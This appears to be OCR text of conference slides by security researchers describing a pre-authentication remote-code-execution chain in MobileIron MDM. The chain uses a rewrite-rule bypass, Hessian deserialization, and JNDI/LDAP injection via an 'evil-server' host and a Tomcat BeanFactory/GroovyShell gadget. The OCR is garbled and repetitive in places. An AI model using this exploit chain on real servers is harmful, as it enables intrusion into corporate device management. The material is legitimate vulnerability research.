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How | Hacked Facebook, and Found Someone's
Backdoor Script

Facebook, BugBounty, RCE, Backdoor, Reconnaissance, Pentest

By (Gt Orange Tsai on 2016-04-21
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Infiltrating Corporate Intranet
Like NSA

Pre-auth RCE on Leading SSL VPNs

Orange Tsai (@orange_8361)
Meh Chang (@mehqgq_)

leck hat

LSA 2013
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MDM(Mobile Device Management)

Content management
Email management

L Containerization
Application management

OS update management

Profile management

Remote control
Asset management Mobile Device

Management

Device onboarding Location History

Audit and reports Geofencing

Security management

https,//www.manageengine.com,/ products/desktop-central/images/MDM _features.png
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CISCO

Cisco Blogs

Cisco Blogs / Security / Threat Research / Malicious MDM: Let’s Hide This App

September 5, 2018 2 Comments

Threat Research

Malicious MDM: Let's Hide This App

Talos Group

Since our initial discovery of a malicious mobile device management (MDM) platform that was loading fake applications onto
smartphones, we have gained greater insight into the attacker’s methods. We now know how the attacker took advantage of a
common MDM feature and used an i10S profile to hide and disable the legitimate versions of the fake apps to force the use of the
malicious stand-ins.

Cisco Talos previously published two articles (here and here) on the subject. In the aforementioned campaigns, the attackers enrolled
I0S devices into the MDM and used the devices to control the victim’s devices, deploying malicious apps disguised as the messaging
services WhatsApp, Telegram and Imo, as well as the web browser Safari.
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First seen in the wild - Malware uses Corporate MDM as attack
vector

April 29, 2020

Research by: Aviran Hazum, Bogdan Melnykov, Chana Efrati, Danil Golubenko, Israel Wernik, Liav Kuperman, Ohad Mana

Overview:

Check Point researchers discovered a new Cerberus variant which is targeting a multinational conglomerate, and is
distributed by the company’s Mobile Device Manager (MDM) server. This malware has already infected over 75% of the
company’s devices. Once installed, this Cerberus variant can collect large amounts of sensitive data, including user
credentials, and send it to a remote command and control (C&C]) server.
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VMWare AirWatch Microsoft Intune

Mobilelron

Trend Micro Mobile Security IBM Maas 360

=8 MDM B RAE

Apple DEP/Profile Manager

Jamf Pro
Sophos Mobile Control

Citrix XenMobi ManageEngine



Mobilelron

=8 MDM B RAE



why Mobilelron?
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2 mi-buildinfo-10.0.0.1-4.noarch.rpm
3 mi-test-10.0.0.1-4.noarch.rpm

2018-07-05 16:09 1.7K
2018-07-05 16:09 1.7K
2018-07-05 16:09 1.7K
2018-07-05 16:08 21
2018-07-05 16:08 9.7K
2018-07-05 16:09 9.6K

3 mobileiron-centos7-upgrader-10.0.0.1-4.x86_64.rpm 2018-07-05 16:09 2.2G
3 mobileiron-core-preupgrade-10.0.0.1-4.noarch.rpm 2018-07-05 16:09 517K

2018-07-05 16:24 -
2018-07-05 16:25 10
2018-07-05 16:09 783
2018-07-05 16:09 21

Apache/2.4.10 (Debian) Server at -law vl "i i Port 80



@ mi-buildinfo-10.0.0.1-4.noarch.rpm
@ mi-test-10.0.0.1-4.noarch.rpm

@ mobileiron-centos7-upgrader-10.0.0.1-4.x86 64.rpm
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Tomcat

443/8443 Apache

9997 MI Protocol

TLS Proxy

Ml Server



1% 78!
1. ZBBVERB A
2. RBIBHF]
3. B AT IRE]






Vulnerability

Reverse Proxy /&:

Tomcat

443 Apache

8443 Apache A

9997 MI Protocol

TLS Proxy

Ml Server



Web Service speaks Hessian!

443 Apache

8443 Apache A

9997 MI Protocol




Touch through Manage Interface

443 Apache

8443 Apache A

9997 MI Protocol




Touch through User Interface...???

443 Apache

8443 Apache A

9997 MI Protocol




Rewrite Rules (

ANmifs/services/(.*x)S . [R=307,L]

AN/mifs/services — [F]



Breaking Parser Logic!

Take Your Path Normalization Off and Pop Odays Out

‘ Orange Tsai

blgc’zk hat

LUSA 2018










/mifs/services/fooService

ANmifs/services/(.*x)S . [R=307,L]

AN/mifs/services — [F]



RewriteRule A/mifs/services/(.*)S . [R=307,L]

RewriteRule A/mifs/services — [F]
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Hessian Deserialization



Hessian Deserialization

« Java Unmarshaller Security
* A paper written by @mbechler in May 2017

« Known gadgets on Hessian Deserialization:

Gadget Name Effect
Spring-AOP JNDI Injection



wWhat is JNDI Injection?

Java IB2{HBY API NE, H{EREE 8- 58 - 77 - I &

jdbc:mysqgl://localhost:3306/database



why JNDI Injection?




CVE-2015-2590

Pawn Storm (APT28, Fancy Bear)
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A JOURNEY FROM JNDV/LDAP
MANIPULATION TO REMOTE CODE
EXECUTION DREAM LAND

Alvaro Munoz (@pwntester)
Oleksandr Mirosh
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JNDI/LDAP Injection

Payload

1. Hessian Deserialization triggers:

* A connection to Evil LDAP Server

2. Evil LDAP server replies:

* A Naming Reference with Factory and
URLCodeBase=http://evil-server/

JNDI Reference

3. The class loader:

» Can’t find the Factory Class

HT TP Connection

» Fetch Class through our URLCodeBase

AESY

4. Return Evil Java Class

I‘_ Evil Class
5. Boom! RCE!

5







Java mitigated the JNDI/LDAP

in Oct 2018 (CVE-2018-3149)



JNDI/LDAP Injection

Payload

1. Hessian Deserialization triggers:

* A connection to Evil LDAP Server

2. Evil LDAP server replies:

* A Naming Reference with Factory and
URLCodeBase=http://evil-server/

JNDI Reference

3. The class loader:

» Can’t find the Factory Class
» Fetch Class through our URLCodeBase

HT TP Connection

AESY

4. Return Evil Java Class

I‘_ Evil Class
5. Boom! RCE!

5




JNDI/LDAP Injection after Oct 2018

1. Hessian Deserialization triggers: T _»l
ayload
1

* A connection to Evil LDAP Server

2. Evil LDAP server replies:

LDAP Connection

* A Naming Reference with Factory and
URLCodeBase=http://evil-server/

3. The class loader:

» Can’t find the Factory Class

U




The bypass!



What's the next?

1. Hessian Deserialization triggers:

* A connection to Evil LDAP Server

2. Evil LDAP server replies:
* A Naming Reference with Factory and

URLCodeBase=http://evil-server/

3. The class loader:
» Can’t find the Factory Class

Payload

Mobilelron

(G20 4

Evil Server




Hacker Mobilelron Evil Server

1. Hessian Deserialization triggers:

e to Local

* A Naming Reference with Factory and 2

URLCodeBase=http://evil-server/
JNDI Reference

3. The class loader:

5
» Can’t find the Factory Class
HIFP-Connection
« Feteh-Classthrough-ourURECodeBase
, 4
4. ReturnEvilJavaClass
Evilclass

e



Leverage the Local Factory

» org.apache.naming.factory.BeankFactory (Tomcat 6-8)

* |f there is a forceString in reference, then:

« Parse the forceString as key-value pairs

* Invoke the value as a setter to set the specified field, for example:

ResourceRef ref ResourceRef(
"tw.orange.User", null, "", "", true,
"org.apache.naming.factory.BeanFactory", null);
ref.add( StringRefAddr ("forceString", "name=setName"));
ref.add( StringRefAddr ("name", "orange"));



Leverage the Local Factory

» org.apache.naming.factory.BeankFactory (Tomcat 6-8)

* |f there is a forceString in reference, then:

« Parse the forceString as key-value pairs

* Invoke the value as a setter to set the specified field, for example:

ResourceRef ref ResourceRef(
"tw.orange.User", null, "", "", true,
"org.apache.naming.factory.BeanFactory", null);
ref.add( StringRefAddr ("forceString", "name=setName"));
ref.add( StringRefAddr ("name", "orange"));



Leverage the Local Factory

e Org.apache.naming.factory.BeanFactory (Tomcat 6-8

tw.orange.User ().setName("oran

» Parse the forceString as key-value pairs

* Invoke the value as a setter to set the specified field, for example:

ResourceRef ref = new ResourceRef(
"tw.orange.User", null, "", "", true,
"org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr ("forceString", "name=setUsername"));

ref.add(new StringRefAddr ("name", "orange"));
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Method Invoke

javax.el.ELProcessor().eval("evil..")

 Tomcat 8.5+ only, our remote version is 7.0.92

groovy. lang.GroovyClasslLoader () .parseClass("..")
« Make Meta Programming great again!

» Groovy 2.0+ only, our remote version is 1.5.6



groovy.lang.GroovyShell().evaluate("..")

New Groovy chain! Work on all versions

httos,//github.comy/welkin/JNDI-Injection-Bypass,/ oull/T



Bypass with Local Reference

1. Hessian Deserialization triggers:

* A connection to Evil LDAP Server

2. Evil LDAP server replies:

o P7PV?77




Bypass with Local Reference

—— CIUJOCICJ
1

* A connection to Evil LDAP Server

2. Evil LDAP server replies:

* Local Factory

org.apache.naming.factory.BeanFactory 2




Bypass with Local Reference

1. Hessian Deserialization triggers:

* A connection to Evil LDAP Server

2. Evil LDAP server replies:
* Local Factory
org.apache.naming.factory.BeanFactory

* Local Object Reference

Groovy.shell.GroovyShell with properties:

forceString is foo=evaluate

foo is “uname -a”.execute()

Payload

Mobilelron

Evil Server

LDAP Connection

Local Factory

Object Reference




Bypass with Local Reference

—— CIUJOCICJ
1

* A connection to Evil LDAP Server

2. Evil LDAP server replies:

* Local Factory

org.apache.naming.factory.BeanFactory

* Local Object Reference

Groovy.shell.GroovyShell with properties:

forceString is foo=evaluate

Local Factory

foo is “uname -a”.execute()

3. Factory loads and populates Object

4. Boom! RCE!

A—w
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Bypass with Local Reference

1. Hessian Deserialization triggers: m— '\
ayload
1

* A connection to Evil LDAP Server

2. Evil LDAP server replies: .
>
* Local Factory -
org.apache.naming.factory.BeanFactory 2
* Local Object Reference
Local Factory

Groovy.shell.GroovyShell with properties:

forceString is foo=evaluate

Object Reference

foo is “uname -a”.execute()

3. Factory loads and populates Object |

4. Boom! RCE! 4




Bypass with Local Reference

1. Hessian Deserialization triggers:

o e
2

Local Factory

Object Reference
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3.2.3 Hessian/Burlap

Hessian and Burlap, by default, use side effect-free instanti-
ation via sun.misc.Unsafe, do not restore transient fields,
do not allow arbitrary proxies, and do not support custom REPORTED Included
collection comparators. RPC servlets

References

At first glance they appear to check for java.io.
Serializable. That check, however, is only applied on REPORTED

A1 RIS FEE?

As it isn’t they can both be exploited through the non- TomEE /openejb-
serializable SpringCompAdv and Resin, as well as the hessian
serializable ROME and XBean.

Cannot restore Groovy’s MethodClosure as read
Resolve () is called which throws an exception.

ASRC Alibaba Citrus

Framework

A root type can be specified during unmarshalling that is | REJECT3? Spring Re-
used; however, one can provide arbitrary, even nonexistent, moting
nested properties that will be unmarshalled using arbitrary




Git Blame

Fix potential problem when deserializing Browse files
F master O GROOVY_3.05 .. GROOVY_2_5 0 ALPHA_1

melix committed on 10 Jul 2015 1 parent @3e3812  commit ©9e9778e8a33052d8c27105aee5310649637233d

private Object readResolve() {
if (ALLOW_RESOLVE) {

return this;

}

throw new UnsupportedOperationException();




Fix potential problem when o @ 17 Browse files
F master O GROOVY_ 305 .. GROO\

. , S :
@ melix committed on 10 Jul 2015 \ - f mit ©9e9778e8a33052d8c27105aee5310649637233d

lg'. {
private Object readReso's

if (ALLOW_RESOLMA

return t*




Exploit with JNDI Bypass

1. Hessian Deserialization triggers: bauload 4>|
1

* A connection to Evil LDAP Server

2. Evil LDAP server replies:

* Local Factory

org.apache.naming.factory.BeanFactory

* Local Object Reference

Groovy.shell.GroovyShell with properties:

forceString is foo=evaluate

Local Factory

Object Reference

foo is “uname -a”.execute()

3. Factory loads and populate Object
4. Boom! RCE!

A—w




Exploit with New Gadget

1. Hessian Deserialization

triggers:
* Local Groovy gadgets
« Boom! RCE!




Demo

https://youtu.be/hGTLIIOb14A
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